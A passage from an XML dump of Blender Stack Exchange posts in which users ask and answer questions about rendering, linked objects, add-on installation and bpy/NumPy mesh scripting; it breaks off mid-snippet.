  <row Id="35332" PostTypeId="2" ParentId="35331" CreationDate="2015-08-09T00:23:45.860" Score="3" Body="&lt;p&gt;The alpha over node uses the box's alpha (donuts are inside the box)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9evhB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9evhB.png&quot; alt=&quot;alpha&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;so it mostly covers your glow effect (white alpha will be over the other image). If the desired effect is what I suppose, i suggest you to use an Add node. (light is added)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hirUs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hirUs.png&quot; alt=&quot;add node&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-09T00:23:45.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35334" PostTypeId="1" CreationDate="2015-08-09T01:19:07.877" Score="4" ViewCount="868" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G7mXT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G7mXT.jpg&quot; alt=&quot;before rendering&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XdBmv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XdBmv.jpg&quot; alt=&quot;after rendering&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically my problem is, I can see the objects and player model perfectly fine in editing, but as soon as I render the image, the screen goes black. How can I fix this? I am new to blender so screenshots will help.&lt;/p&gt;&#xA;" OwnerUserId="16249" LastActivityDate="2015-08-09T21:35:28.500" Title="How come my object doesn't show up after rendering?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35335" PostTypeId="1" AcceptedAnswerId="35351" CreationDate="2015-08-09T01:43:56.897" Score="2" ViewCount="87" Body="&lt;p&gt;I'm new to blender Blender and mainly use POV-Ray. Would it be possible in Blender to create scripts or custom tools that generate flexible roads? Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lib.povray.org/searchcollection/index2.php?objectName=LegoRoad&amp;amp;contributorTag=SharkD&quot; rel=&quot;nofollow&quot;&gt;http://lib.povray.org/searchcollection/index2.php?objectName=LegoRoad&amp;amp;contributorTag=SharkD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except (preferably) modifiable in real time by dragging control points using the mouse?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16250" LastEditorUserId="16250" LastEditDate="2015-08-09T05:34:09.253" LastActivityDate="2015-08-09T07:39:30.450" Title="Flexible street script/tool?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35336" PostTypeId="1" CreationDate="2015-08-09T01:50:26.027" Score="1" ViewCount="198" Body="&lt;p&gt;I have been making models using &lt;a href=&quot;http://ldraw.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;LDraw&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to import LDraw models into Blender?&lt;/p&gt;&#xA;" OwnerUserId="16250" LastEditorUserId="2217" LastEditDate="2016-12-31T18:55:28.170" LastActivityDate="2016-12-31T18:55:28.170" Title="Import LDraw models into Blender" Tags="&lt;objects&gt;&lt;import&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35337" PostTypeId="1" AcceptedAnswerId="35338" CreationDate="2015-08-09T01:57:28.367" Score="3" ViewCount="270" Body="&lt;p&gt;I have never used Blender before. Is it possible to create a hierarchical super-model or &quot;scene&quot; that contains the lighting, camera and so forth, and have it reference multiple sub-models stored in separate files? What I mean is, I want to be able to edit the sub-models separately and have the changes automatically be reflected in the hierarchical super-model. How do I set this up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need me to explain this more clearly.&lt;/p&gt;&#xA;" OwnerUserId="16250" LastEditorUserId="5705" LastEditDate="2015-08-09T02:21:39.130" LastActivityDate="2015-08-09T02:21:39.130" Title="Sub-models in scenes?" Tags="&lt;modeling&gt;&lt;linked-data&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35338" PostTypeId="2" ParentId="35337" CreationDate="2015-08-09T02:20:40.073" Score="4" Body="&lt;h2&gt;Yes, this is possible through &lt;em&gt;linking&lt;/em&gt; objects.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the master scene file simply go to &lt;em&gt;file&lt;/em&gt; &gt; &lt;em&gt;link&lt;/em&gt; or hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;O&lt;/kbd&gt;, choose the file you want to link an object from, go to &lt;em&gt;object&lt;/em&gt; and select the object.  Then when you change the files containing the objects they will change in the master file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linked objects will be highlighted with light blue.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KUGEL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KUGEL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something to keep in mind is that &lt;strong&gt;you can't edit the linked objects in the master file&lt;/strong&gt; which makes it cumbersome to make small adjustments.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-08-09T02:20:40.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35339" PostTypeId="1" CreationDate="2015-08-09T02:35:00.203" Score="7" ViewCount="3357" Body="&lt;p&gt;I have a cube that moves along a bezier curve (it's a mine cart). It is a simple animation, keyframe at start, keyframe at end, with a curve modifier on the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to export the animation and load it into Unity to test some stuff out. However, when I do that, the animation exports, but there is no curve modifier - it just travels along a straight axis, instead of along the curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway to fix this?&lt;/p&gt;&#xA;" OwnerUserId="16252" LastActivityDate="2018-11-23T02:03:10.650" Title="Exporting Animation with Modifier" Tags="&lt;animation&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35341" PostTypeId="1" AcceptedAnswerId="41471" CreationDate="2015-08-09T04:03:05.980" Score="4" ViewCount="89" Body="&lt;p&gt;I am writing an addon to help me manage my multi-file addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5MpLM.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5MpLM.gif&quot; alt=&quot;THIS IS HARD TO EXPLAIN&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its coming along really nicely, but I want it to work no matter what .blend file I have open, so I have it save each project's data to an xml file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not knowing that it wouldn't work, I had the panel call two functions, one to update the files for the project, and one to update the xml file. So whenever the UI updated the two functions were called. But I changed something in the 2nd function that actually changed a value in blender and it wouldn't let me because you can't edit blender data from a UI context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question:&#xA;What is the best way to continually update my list based on this external XML file. I really don't want a UI button to update from xml if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if there is a way for the two functions to be run whenever Blender opens that would work as well.&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2019-08-15T15:16:10.733" Title="Update list based on external file" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35342" PostTypeId="1" CreationDate="2015-08-09T04:46:17.197" Score="2" ViewCount="201" Body="&lt;p&gt;so I downloaded a template file for a youtube intro and it has 4 files in it but when i opened the blender file the other videos didn't open with blender, also the audio doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SMhIo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SMhIo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HkhuJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HkhuJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16255" LastEditorUserId="599" LastEditDate="2015-08-09T06:41:42.837" LastActivityDate="2015-08-09T06:41:42.837" Title="Video files don't load, audio is missing" Tags="&lt;rendering&gt;&lt;blend-files&gt;&lt;audio&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-08-12T03:07:07.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="35343" PostTypeId="1" AcceptedAnswerId="35344" CreationDate="2015-08-09T05:31:33.133" Score="0" ViewCount="66" Body="&lt;p&gt;How deep can you link models in Blender? I mean, what if you were to link model C within model B, which is then linked within model A? Would that work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working with models created in Lego/LDraw, and it could potentially save space if the individual Lego parts were stored outside the model and instanced instead.&lt;/p&gt;&#xA;" OwnerUserId="16250" LastEditorUserId="16250" LastEditDate="2015-08-11T17:33:11.167" LastActivityDate="2015-08-11T17:33:11.167" Title="Maximum linked model depth?" Tags="&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35344" PostTypeId="2" ParentId="35343" CreationDate="2015-08-09T06:06:22.940" Score="3" Body="&lt;p&gt;No that would not work, you can only link non linked objects (so just the objects you made) in the file you want to link.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-09T06:06:22.940" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35345" PostTypeId="1" AcceptedAnswerId="35346" CreationDate="2015-08-09T06:06:35.960" Score="1" ViewCount="1055" Body="&lt;p&gt;I have created two armature single bone and I need to parent one of them to another. For doing this I am trying to select both of them in edit mode but in vein. I am able to select them in object mode but not in edit mode. The reason I am selecting this in edit mode is because both of the single bones has many extruded single bone meshes and I need to select only the master one from which all the other are extruded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Varun&lt;/p&gt;&#xA;" OwnerUserId="16257" LastActivityDate="2015-08-09T06:09:29.603" Title="Unable to select more than one armature single bone in edit mode" Tags="&lt;armature&gt;&lt;bones&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35346" PostTypeId="2" ParentId="35345" CreationDate="2015-08-09T06:09:29.603" Score="3" Body="&lt;p&gt;I think you have to join the bones in object mode &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;, then you can go to edit mode to parent them.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-09T06:09:29.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35348" PostTypeId="2" ParentId="35314" CreationDate="2015-08-09T06:47:12.047" Score="2" Body="&lt;p&gt;If you have multiple materials assigned, you can use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt; to activate the &lt;strong&gt;Select Similar&lt;/strong&gt; menu.  For selecting all of the floor area, using &lt;strong&gt;Normal&lt;/strong&gt; works well.  You only have to select one face and all others that have a similar normal should be selected automatically by the tool.  There is a slider that controls a threshold value that you can adjust to change the angle overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once all the faces for that area are selected, you can select the appropriate material and press the &lt;strong&gt;Assign&lt;/strong&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dwfjv.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dwfjv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the textures, I used the &lt;em&gt;Box&lt;/em&gt; setting which maps the texture from all directions if you add a Texture Coordinates node and set the Input for the texture to &lt;strong&gt;Object&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m2Or7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m2Or7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a copy of the .blend file so you can have a closer look. :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/405/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=405&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-08-09T06:47:12.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35350" PostTypeId="2" ParentId="35334" CreationDate="2015-08-09T07:23:13.567" Score="7" Body="&lt;p&gt;I want to tell you the answer is easy when I look at the image you posted. Your camera is facing the background and not the character. When you hit render you render what the camera sees and not the current view in the viewport. That's why you don't see anything. Select camera and press &lt;kbd&gt;Numpad 0&lt;/kbd&gt;. Your view will be moved to the camera view. Now you'll see that character is not visible. Go to the bottom panel of 3D view and press View -&gt; Navigation -&gt; Walk Navigation. Now use the keys &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;to move your camera around until it looks at your character, and then press &lt;kbd&gt;LMB&lt;/kbd&gt;(and not &lt;kbd&gt;RMB&lt;/kbd&gt; otherwise your camera will reset position). Now you can press &lt;kbd&gt;F12&lt;/kbd&gt; to render and your character will be there.&#xA;If you still don't see it, then you need to add a lamp to your scene.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorDisplayName="user1853" LastEditDate="2015-08-09T20:52:34.750" LastActivityDate="2015-08-09T20:52:34.750" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35351" PostTypeId="2" ParentId="35335" CreationDate="2015-08-09T07:39:30.450" Score="2" Body="&lt;p&gt;Using curves you should be able to do something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vTaQf.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vTaQf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top view add a curve, give it some extrusion and depth. Enter edit mode and align the control points by pressing &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;.&#xA;Exit edit mode and rotate the curve 90 degrees on the x axis (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;9&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;) Go back to edit mode and manipulate your curve by adding points (&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;RMB&lt;/kbd&gt; and manipulating them you can get any shape you want.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-09T07:39:30.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35352" PostTypeId="1" AcceptedAnswerId="35354" CreationDate="2015-08-09T07:58:15.233" Score="2" ViewCount="1008" Body="&lt;p&gt;I'd like to install &lt;a href=&quot;https://github.com/le717/LDR-Importer/releases&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;LDR-Importer&lt;/strong&gt;&lt;/a&gt; in order to import LDraw .dat and .ldr models into Blender. Unfortunately the script comes with no installation documentation. Where should I unpack the github archive?&lt;/p&gt;&#xA;" OwnerUserId="16250" LastEditorUserId="3710" LastEditDate="2015-08-09T09:13:38.713" LastActivityDate="2015-08-09T09:13:38.713" Title="How to install LDR-Importer Add-on?" Tags="&lt;add-on&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35353" PostTypeId="1" CreationDate="2015-08-09T08:17:53.790" Score="1" ViewCount="1440" Body="&lt;p&gt;I didn't use Blender before, but from what I saw (e.g. on YouTube) I think I could use it for creating dynamic flow chart animations (that actually look good :-). Since I do not know how to start with this, I hope you could give me a hint and/or guide me the right direction. This is a schematic example on what I want to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pKyRk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pKyRk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a series of time points, I get data for the temperatures inside a set of water tanks and the amount of water flowing between them from some computations that are done in Python. I would like to visualize the temperature within the tanks by color, and the mass flowing between them by thickness of the arrows, in both cases also stating the current values, and show their development over time with an animation (while the changes between time points do not necessarily have to be animated, a series of pictures showing the states at the time points would already be great).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything should be designed in a way that the animation can be automatically generated also for other data sets. Also in future, this animation will probably be extended. As I stated, I'm completely new to Blender, but advanced in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All hints and advises are highly appreciated! Thank you very much for your help!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: as suggested, I split up the question in several smaller ones step by step.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/35363/curved-arrow-of-variable-thickness-to-connect-to-objects&quot;&gt;Link to first question on how to create the curved arrows&lt;/a&gt; (solved)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/35440/set-color-of-blender-object-based-on-external-data-e-g-temperature-using-a-c&quot;&gt;Link to second question on how to calculate object colors from external temperature data using a color map&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16258" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-10T14:14:27.003" Title="Dynamic flow chart animation" Tags="&lt;python&gt;&lt;animation&gt;&lt;workflow&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-08-09T19:09:08.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="35354" PostTypeId="2" ParentId="35352" CreationDate="2015-08-09T08:30:45.613" Score="3" Body="&lt;p&gt;you can save it at a logical place for you, you don't have to unzip it. In blender you open the user preferences --&gt; add-ons--&gt; install from file, locate the file and than check the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TBbER.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TBbER.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-09T08:30:45.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35355" PostTypeId="1" AcceptedAnswerId="35358" CreationDate="2015-08-09T08:57:54.160" Score="5" ViewCount="953" Body="&lt;p&gt;I was trying to write a script to generate an object from primitives but came across a problem I couldn't solve.  The code generates a cylinder and finds the face as well as putting it into edit mode.  However when I try and select it in edit mode the whole object is still selected.&lt;br&gt;&#xA;How do I script the selection of just that face?&lt;br&gt;&#xA;When I do it by hand the selection of the face which I can do generates nothing in the info window.   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.mesh.primitive_cylinder_add(radius=1, depth=2)&#xA;ob = bpy.data.objects['Cylinder']&#xA;ob.name = 'NewCylinder'&#xA;mesh = ob.data&#xA;&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;n = 0&#xA;for face in mesh.polygons:&#xA;    face.select = False&#xA;    if len(face.vertices) &amp;gt; 4:&#xA;        print(' end face {}'.format(n))&#xA;        n += 1&#xA;        if n == 2:&#xA;            face.select = True&#xA;bpy.ops.transform.resize(value=(0.33, 0.33, 0.33))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16260" LastEditorUserId="1363" LastEditDate="2015-08-09T19:03:55.513" LastActivityDate="2015-08-09T19:30:42.623" Title="Selecting a face in a script so that you can edit eg resize it?" Tags="&lt;mesh&gt;&lt;scripting&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35356" PostTypeId="1" AcceptedAnswerId="35480" CreationDate="2015-08-09T09:06:44.813" Score="3" ViewCount="233" Body="&lt;p&gt;Take a look at the 3 middle fingers of the left hand. As you can see, one of them behaves differently from the other two in the setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/406/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=406&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16261" LastEditorUserId="5426" LastEditDate="2017-08-28T14:40:28.350" LastActivityDate="2017-08-28T14:40:28.350" Title="IK contraints problem?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35357" PostTypeId="1" CreationDate="2015-08-09T09:11:06.313" Score="7" ViewCount="1128" Body="&lt;p&gt;for an animation I want to create a fluffy cloud scenery (with the internal render engine)&#xA;To to this, I created severeal cloud shaped meshes- each of them got a particle system. Over that I build a bounding box mesh with a volume shader and a point density texture to drive the density of the volume. No problem so far. I get a pretty nice cloud with this setup but after adding a second one, I get bad results. They are intersecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could render every cloud on a seperate render layer, but this would be a tidy task. After all I have 26 clouds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DNwUd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DNwUd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QTnJm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QTnJm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem here? Which option is unchecked? I cant find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help &lt;/p&gt;&#xA;" OwnerUserId="16262" LastActivityDate="2015-09-12T16:08:04.523" Title="Mulitple point density clouds - intersecting each other" Tags="&lt;blender-internal-render-engine&gt;&lt;particles&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35358" PostTypeId="2" ParentId="35355" CreationDate="2015-08-09T09:47:52.430" Score="6" Body="&lt;p&gt;It might seem counter-intuitive, but you need to be in Object mode to change the selection when using &lt;code&gt;.mesh&lt;/code&gt;.  I changed a few more things, like you can use the &lt;code&gt;'DESELECT'&lt;/code&gt; action in &lt;code&gt;mesh.select_all&lt;/code&gt; else edges are still selected when you try to un-select faces&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.mesh.primitive_cylinder_add(radius=1, depth=2, enter_editmode=True)&#xA;ob = bpy.context.object  # gets a reference to the newly created object &#xA;ob.name = 'NewCylinder'&#xA;mesh = ob.data&#xA;&#xA;bpy.ops.mesh.select_all(action='DESELECT')&#xA;&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;n = 0&#xA;for face in mesh.polygons:&#xA;    if len(face.vertices) &amp;gt; 4:&#xA;        n += 1&#xA;        if n == 2:&#xA;            face.select = True&#xA;&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.transform.resize(value=(0.33, 0.33, 0.33))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pxS0c.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxS0c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-09T19:30:42.623" LastActivityDate="2015-08-09T19:30:42.623" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35359" PostTypeId="2" ParentId="26673" CreationDate="2015-08-09T11:28:06.127" Score="2" Body="&lt;p&gt;You could also remap the key in input, search for &quot;View selected&quot; in input and remap it to for example . on you laptop.&lt;/p&gt;&#xA;" OwnerUserId="16264" LastActivityDate="2015-08-09T11:28:06.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35360" PostTypeId="1" AcceptedAnswerId="35362" CreationDate="2015-08-09T12:05:50.797" Score="6" ViewCount="574" Body="&lt;p&gt;Last year I discovered &lt;a href=&quot;https://blender.stackexchange.com/a/14326/5334&quot;&gt;here&lt;/a&gt; that blender is sensitive to the type of integer used to create faces. Now I want to do this with NumPy and I am at a loss for how to do this. I CAN NOT use the previous answer &lt;code&gt;face = (int(iv1),int(iv2),int(iv3),int(iv4))&lt;/code&gt;, since my faces will not have a fixed number of vertices, and the source of integers may be other NumPy methods as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: how in general can I make my vertex list generated by &lt;code&gt;np.arange&lt;/code&gt; or other NumPy integer type arrays the &quot;right kind of int&quot; for &lt;code&gt;me.from_pydata(verts, [], faces)&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Optional question: Is this sensitivity to the type of integer protective - for example, does it make sure the integers aren't too big or something like that?)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;dtype&lt;/code&gt; is not specified: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TypeError: bpy_struct: item.attr = val:&#xA;  expected sequence items of type int, not numpy.int64&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;dtype&lt;/code&gt; = int:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TypeError: bpy_struct: item.attr = val: expected&#xA;  sequence items of type int, not numpy.int64&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;dtype&lt;/code&gt; = int8:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TypeError: bpy_struct: item.attr = val: expected sequence items of type int, not numpy.int8&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;&#xA;def make_7_seg(hw, hl, gapxy, slant_factor):&#xA;&#xA;    xnom = np.array([-hl, -hl+hw, hl-hw, hl, hl-hw, -hl+hw])&#xA;    ynom = np.array([0.0, -hw, -hw, 0.0, hw, hw])&#xA;    znom = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0])&#xA;&#xA;    xoffs = (hl+gapxy) * np.array([0, 1, 1, 0, -1, -1, 0])&#xA;    yoffs = (hl+gapxy) * np.array([2, 1, -1, -2, -1, 1, 0])&#xA;    rots  = 0.5 * np.pi * np.array([0, 1, 1, 0, 1, 1, 0])&#xA;    sinrot, cosrot = np.sin(rots), np.cos(rots)&#xA;&#xA;    X = cosrot[:,None]*xnom[None,:] - sinrot[:,None]*ynom[None,:] + xoffs[:,None]&#xA;    Y = sinrot[:,None]*xnom[None,:] + cosrot[:,None]*ynom[None,:] + yoffs[:,None]&#xA;    Z = np.zeros_like(X, dtype='float')        &#xA;&#xA;    X = X + slant_factor*Y   &#xA;&#xA;    a = np.arange(7*6).reshape(7,6)&#xA;    b = np.arange(7*6,dtype='int').reshape(7,6)    